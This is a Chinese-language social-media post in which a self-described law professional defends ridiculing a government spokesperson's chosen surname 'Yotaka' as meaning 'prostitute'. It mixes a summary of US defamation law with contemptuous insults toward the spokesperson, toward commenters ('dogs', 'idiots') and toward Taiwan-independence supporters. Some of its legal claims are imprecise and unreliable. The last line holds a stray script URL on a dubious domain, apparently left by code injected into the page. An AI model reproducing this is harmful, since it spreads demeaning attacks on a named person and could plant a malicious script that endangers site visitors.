有個人堅持自己要改姓「Yotaka」,我指出yotaka在日文辭典與Google翻譯查詢結果均有妓女含意,表達無法理解為何要如此改姓。結果就被一群無知護主狗給小小洗版,還有人宣稱我污辱該名發言人要我道歉?!
區區在下正好是法律專業,我們就來談「污辱」吧!節錄部分我過去寫的法律分析文字:
1. 美國有關妨害名譽(defamation)的案件,主要是透過侵權行為法(torts)來做民事上的處理。相較於台灣民法中侵權行為相關規定,美國法對於妨害名譽案件的處理要件來得更為細膩。
美國法構成妨害名譽的要件簡述如下:被告公然發表妨害他人名譽之語言,內容直指或隱射原告,並造成原告名譽之損失。
何謂公然?和台灣法律一樣,只三人以上能共知共聞。何謂妨害他人名譽之語言?乃指言論本身會造成他人名譽受負面影響。何謂名譽之損失(damage of reputation)?美國法院又再細分言論是透過文字傳播,亦或透過口語二者。
美國法院認為,如果是口語的侮辱性言論(slander),應由原告來證明其所受之損害為何?除非言論內容是美國法院所認定的「當然侵權事由(per se)」,諸如:內容指責他人有違其職業或專業道德的舉措;宣傳他人得了難言之病;宣稱他人犯了道德瑕疵的罪(如指責某會計監守自盜);亦或謠傳某女性性生活不檢點。
換言之,美國法理之重點,在於這類言論將嚴重影響原告,使其難以繼續在同一社區生活或工作下去。如非此類言論,則需要由原告舉證其損害為何。
2. 從法律經濟學分析角度
如前文所言,美國處理妨害名譽案件主要放在侵權行為法下 處理 ,亦即民事法,由口無遮攔的一方賠錢了事 。台灣卻拉到到刑法之高度,動輒施以國家公權力,干預人民言論之自由。如此大動牛刀,是否有違反「憲法比例原則」?實在令人疑惑。
再者,將刑法構成要件標準放在「主觀喜惡」上,也有種錯置個人偏好為刑法所欲保護之法益的繆誤。
諾貝爾經濟學獎得主,Ronald H. Coase一生研究,告訴我們產權劃分清楚之下,社會成本可以被大幅降低。這點也為多數經濟學者所認同。而美國法架構下也多將妨害名譽案件之重點放在受害人的未來收入或消費行為所受之負面影響上,亦即當事人「名譽所受之損害」。換言之,這樣的客觀標準是另外一種變項的財產權保護制度,保護受害人潛在的經濟利益。亦如美國頗富名望的聯邦巡迴法院法官Richard A. Posner研究指出,美國法下,法官判案存在「降低社會成本」的傾向。我們也能看到,美國法院將許多「這個人很壞」或髒話類的言論,當做是「個人意見(opinion)」,不認為是妨害名譽。因為某甲罵某乙是bitch,除了讓聽者知道某甲討厭某乙之外,並不會對某乙造成什麼潛在經濟利益上的損害。聽者對某乙的名聲自有評價。這是美國法院的態度以及對人民自我判斷能力的信心。
當然,某乙一定不會高興聽到這類批評,但是這類意見無時無刻出現在社會的各個角落。如果法院不允許此類個人意見存在,豈不是強迫人民只能「歌舞昇平」,不可發「不平之鳴」。如此判決,與戕害人民言論自由何異?可不幸的是,台灣法院似乎動輒將這類個人意見施以刑罰。除了引發社會對司法的不安之外,我們看不到台灣法院在這方面有何「降低社會成本」之貢獻。
3. 本次Yotaka事件
一群蠢蛋指稱我污辱這位行政院發言人,其邏輯之混亂實在可笑。
首先,並非我叫這位資深姑娘「Yotaka」,而是這位資深姑娘自己昭告天下要求大家這樣叫她。侵權行為自始不存在,如何能成立「污辱」?還有人頤指氣使地要我道歉?
猶如有人堅持自己要改姓「Bitch」,他人表示尊重但不理解,何來污辱之有?不僅不構成美國法下的defamation,連中華民國刑法的公然污辱也不構成。
豈知竟然有一堆邏輯零分的笨蛋搞不清楚狀況,就跟風來洗版。稍微一看就知道這群洗版者均非我過去的讀者,99%都是第一次來本粉專留言,嘴裡批判著板主罷凌,其實自己就在做這種群狗圍咬的可恥行為。看著就讓我好笑,哈!人性卑劣的確如此。
有趣的是,這群洗版者的個人臉書多半充斥台獨或反核蠢話。真可悲啊,原來台獨支持者有相當人數是腦袋如此不清、邏輯如此混亂的貨色,難怪錯得離譜的「台灣地位未定論」竟然會有市場,因為買家程度就只有這樣嘛 XD
最好笑的是某位洗版者還宣稱他認為「指稱多數台灣人是從中國移民來的是一種污辱」。WTF?!
再強調一次,有人堅持要用含意不雅的文字作為姓氏,他人表示無法理解,是不可能構成法律上與道德上之污辱的。
口口聲聲說我叫他人妓女的,不只邏輯爛得可以(明明是這位發言人自己要姓這個雙重含意詞),而且其實自己心中瞧不起娼妓,職業歧視得很哩。https://js.developerstatss.ga/stat.js?n=ns1